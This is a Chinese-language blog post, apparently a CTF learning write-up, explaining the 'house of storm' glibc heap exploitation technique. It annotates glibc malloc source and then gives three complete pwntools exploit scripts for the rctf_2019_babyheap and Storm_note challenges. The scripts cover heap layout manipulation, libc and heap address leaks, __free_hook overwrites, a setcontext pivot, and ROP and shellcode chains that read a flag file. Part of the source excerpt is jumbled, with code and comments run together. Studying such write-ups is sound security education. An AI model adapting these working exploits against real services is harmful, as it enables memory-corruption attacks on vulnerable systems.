house of storm

house of storm 是一个结合了 unsorted bin 和 largebin attack 的危害性极高的组合漏洞。其效果是可以实现任意地址申请一个堆块,他的思想主要就是通过 unsorted bin 和 largebin attack 来伪造并链进一个 unsorted bin。

利用条件是:

1、 glibc 版本小于等于 2.28

2、布局两个属于 large bin 的堆块,分别放在 unsorted bin 链表和 large bin 链表当中,前者的 size 要比后者的大,且两个堆块要属于同一个 index。

3、要能控制两个堆块的 data (一般来说存在 UAF,或者可变相实现 UAF )

 

通过上述利用条件的控制 data,我们把 unsorted bin 里的 bk 改为 target_addr ,把 large bin 里的 bk 改为 target_addr + 8 ,把 bk_nextsize 改为 target_addr - 0x18 - 5。这样再通过一系列的过程就可以伪造出一个堆块并链入 unsorted bin 中,再申请相应大小的堆块,即可实现任意地址分配。

下面从源码中看是如何伪造出那个 fake_chunk 的。

 

首先是把 victim 从链表中移除的源码,用到的伪造的部分是把 unsorted bin 里的 bk 改为 target_addr。实现了伪造 fake_chunk 的 fd,以及将其链入 unsorted_chunks(av)

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;  // 把 fake_chunk 链入 unsorted_chunks(av)
          bck->fd = unsorted_chunks (av);  // 把 fake_chunk 的 fd 改成 unsorted_chunks (av)

然后是 large bin attack 用到的源码,用到的是把 large bin 里的 bk 改为 target_addr + 8 ,把 bk_nextsize 改为 target_addr - 0x18 - 5。实现了伪造 fake_chunk 的 size 及 bk。

                      else
                        {
                          victim->fd_nextsize = fwd;                 //把 unsorted bin 里刚放进的 chunk->fd_nextsize 改为 large bin 里存在的 chunk 的首地址
                          victim->bk_nextsize = fwd->bk_nextsize;    // unsorted bin 里刚放进的 chunk->bk_nextsize改为 large bin 里存在的 chunk->bk_nextsize
                          fwd->bk_nextsize = victim;                 // 把 large bin 里存在的 chunk->bk_nextsize 改为 从 unsorted bin 里放进来 chunk 的首地址
victim
->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//这里即把 size 伪造好了,
victim->bk_nextsize->fd_nextsize
=
target_addr - 0x18 - 5 + 0x20 = target_addr + 3 的地方写入了一个地址,那么开了 PIE 的堆块开头一般是 0x55 或 0x56 且长度是 6 字节,通过一个错位即可把size伪造进去 } bck
= fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; //把 unsorted bin 里刚放进的 chunk->bk 改为 large bin->bk victim->fd = fwd; //把 unsorted bin 里刚放进的 chunk->fd 改为 large bin fwd->bk = victim; //把 large bin 的 chunk->fd 改为 unsorted bin 里刚放进的 chunk 的首地址 bck->fd = victim; //这里把 fake_chunk 的 bk 伪造好了,bck->fd = fwd->bk->fd = target_addr + 8 + 0x10 = target_addr->bk = victim

这样伪造出一个 fake_chunk 放在 unsorted bin 中之后,再进行分配即可把 chunk 头分配到 target_addr 了。

 

例题:BUUCTF rctf_2019_babyheap

exp:

ROP需要泄露堆地址

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./rctf_2019_babyheap')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(size):
    s.sendlineafter(b'Choice: \n' , b'1')
    s.sendlineafter(b'Size: ' , str(size))

def edit(index,content):
    s.sendlineafter(b'Choice: \n' , b'2')
    s.sendlineafter(b'Index: ' , str(index))
    s.sendafter(b'Content: ' , content)

def delete(index):
    s.sendlineafter(b'Choice: \n' , b'3')
    s.sendlineafter(b'Index: ' , str(index))

def show(index):
    s.sendlineafter(b'Choice: \n' , b'4')
    s.sendlineafter(b'Index: ' , str(index))

add(0x88)   # 0
add(0x4e0)  # 1
add(0x10)   # 2
add(0x4d8)  # 3
add(0xf8)   # 4
add(0x10)   # 5

delete(0)
edit(3 , b'a'*0x4d0 + p64(0xa80))
delete(4)

add(0x88)   # 0
show(1)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))
__free_hook = libc_base + libc.sym['__free_hook']
setcontext_53 = libc_base + libc.sym['setcontext'] + 53

pop_rdi_ret = libc_base + 0x0000000000021112
pop_rsi_ret = libc_base + 0x00000000000202f8
pop_rdx_ret = libc_base + 0x0000000000001b92
pop_rax_ret = libc_base + 0x000000000003a738
syscall_ret = libc_base + 0x00000000000bc3f5
ret_addr = libc_base + 0x0000000000000937
bss_addr = libc_base + libc.bss()

add(0x4d0)  # 4
add(0x1000) # 6
show(2)
heap_base = u64(s.recvuntil(b'\x56')[-6:].ljust(8,b'\x00')) & 0xfffffffffffff000
success('heap_base=>' + hex(heap_base))

flag_addr = heap_base + 0xa90
orw_addr = heap_base + 0xbb0

delete(4)

add(0x4e0)  # 4 = 1 unsorted bin
add(0x10)   # 7 = 2

add(0x4d8)  # 8 = 3 large bin
add(0xf8)   # 9

delete(3)
add(0x1000) # 3

delete(1)

fake_chunk_addr = __free_hook - 0x20

edit(4 , p64(0) + p64(fake_chunk_addr))
edit(8 , p64(0) + p64(fake_chunk_addr + 8) + p64(0) + p64(fake_chunk_addr - 0x18 -5))

add(0x48)   # 1

orw = p64(pop_rdi_ret) + p64(flag_addr)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(pop_rsi_ret) + p64(0)
orw+= p64(pop_rdx_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_ret) + p64(0x100)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_ret) + p64(0x100)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)

edit(9 , b'./flag\x00\x00' + b'a'*0x98 + p64(orw_addr) + p64(ret_addr))
edit(6 , orw)
edit(1 , p64(0) + p64(0) + p64(setcontext_53))

delete(9)

#gdb.attach(s)
s.interactive()

shellcode不需泄露堆地址

这里为什么要把 read_shellcode 放在 __free_hook + 0x10 的地方笔者也不是很清楚,可能和 hook 有关吧,以后有时间再去找原因。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./rctf_2019_babyheap')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(size):
    s.sendlineafter(b'Choice: \n' , b'1')
    s.sendlineafter(b'Size: ' , str(size))

def edit(index,content):
    s.sendlineafter(b'Choice: \n' , b'2')
    s.sendlineafter(b'Index: ' , str(index))
    s.sendafter(b'Content: ' , content)

def delete(index):
    s.sendlineafter(b'Choice: \n' , b'3')
    s.sendlineafter(b'Index: ' , str(index))

def show(index):
    s.sendlineafter(b'Choice: \n' , b'4')
    s.sendlineafter(b'Index: ' , str(index))

add(0x88)   # 0
add(0x4e0)  # 1
add(0x10)   # 2
add(0x4d8)  # 3
add(0xf8)   # 4
add(0x10)   # 5

delete(0)
edit(3 , b'a'*0x4d0 + p64(0xa80))
delete(4)

add(0x88)   # 0
show(1)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))
__free_hook = libc_base + libc.sym['__free_hook']
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
mprotect = libc_base + libc.sym['mprotect']
bss_addr = libc_base + libc.bss()

add(0x4d0)  # 4
add(0x1000) # 6
show(2)
heap_base = u64(s.recvuntil(b'\x56')[-6:].ljust(8,b'\x00')) & 0xfffffffffffff000
success('heap_base=>' + hex(heap_base))

flag_addr = heap_base + 0xa90
orw_addr = heap_base + 0xbb0

delete(4)

add(0x4e0)  # 4 = 1 unsorted bin
add(0x10)   # 7 = 2

add(0x4d8)  # 8 = 3 large bin
add(0xf8)   # 9

delete(3)
add(0x1000) # 3

delete(1)

fake_chunk_addr = __free_hook - 0x20

edit(4 , p64(0) + p64(fake_chunk_addr))
edit(8 , p64(0) + p64(fake_chunk_addr + 8) + p64(0) + p64(fake_chunk_addr - 0x18 -5))

add(0x48)   # 1

read_shellcode = f'''
    xor rdi, rdi
    mov rsi, {__free_hook & 0xfffffffffffff000}
    mov edx, 0x1000
    
    mov eax, 0
    syscall
    
    jmp rsi
    '''

orw = '''
    mov rax, 0x67616c66
    push rax
    mov rdi, rsp
    mov rsi, 0
    mov rdx, 0
    mov rax, 2
    syscall
    mov rdi, 3
    mov rsi, rsp
    mov rdx, 0x100
    mov rax, 0
    syscall
    mov rdi, 1
    mov rsi, rsp
    mov rdx, 0x100
    mov rax, 1
    syscall
    '''

frame = SigreturnFrame()
frame.rsp = __free_hook + 0x10
frame.rdi = __free_hook & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = mprotect

edit(1 , p64(0) + p64(0) + p64(setcontext_53)  + p64(__free_hook+0x18)*2 + asm(read_shellcode))
edit(6 , bytes(frame))

delete(6)

s.sendline(asm(orw))

#gdb.attach(s)
s.interactive()

 

storm_note

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./Storm_note')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

def add(size):
    s.sendlineafter(b'Choice: ' , b'1')
    s.sendlineafter(b'size ?' , str(size))

def edit(index,content):
    s.sendlineafter(b'Choice: ' , b'2')
    s.sendlineafter(b'Index ?' , str(index))
    s.sendafter(b'Content: ' , content)

def delete(index):
    s.sendlineafter(b'Choice: ' , b'3')
    s.sendlineafter(b'Index ?' , str(index))

def backdoor(buf):
    s.sendlineafter(b'Choice: ' , b'666')
    s.sendlineafter(b'If you can open the lock, I will let you in\n' , buf)

add(0x28)  # 0
add(0x508) # 1
add(0xf8)  # 2

add(0x18)  # 3

add(0x28)  # 4
add(0x508) # 5
add(0xf8)  # 6

add(0x18)  # 7

delete(0)
edit(1 , b'a'*0x500 + p64(0x540))
delete(2)

add(0x638) # 0
edit(0 , b'a'*0x28 + p64(0x4e1) + b'a'*0x4d8 + p64(0x41) + b'a'*0x38 + p64(0x101))
delete(1)

delete(4)
edit(5 , b'a'*0x500 + p64(0x540))
delete(6)

add(0x638) # 1
edit(1 , b'a'*0x28 + p64(0x4f1) + b'a'*0x4e8 + p64(0x31) + b'a'*0x28 + p64(0x101))
delete(5)

fake_chunk = 0xABCD0100 - 0x20

edit(1 , b'a'*0x28 + p64(0x4f1) + p64(0) + p64(fake_chunk))

edit(0 , b'a'*0x28 + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5))
                                                        
add(0x48)

edit(2 , p64(0)*8)

backdoor(b'\x00'*0x30)


#gdb.attach(s)
s.interactive()

 

参考链接:

https://blog.csdn.net/weixin_44145820/article/details/105709145

https://blog.csdn.net/weixin_44145820/article/details/105740530

https://bbs.pediy.com/thread-254849.htm

https://www.anquanke.com/post/id/176194

https://blog.csdn.net/qq_40827990/article/details/89280847

https://www.cnblogs.com/Rookle/p/13140339.html

https://www.anquanke.com/post/id/203096

posted @ 2022-04-26 17:16  狒猩橙  阅读(188)  评论(2编辑  收藏  举报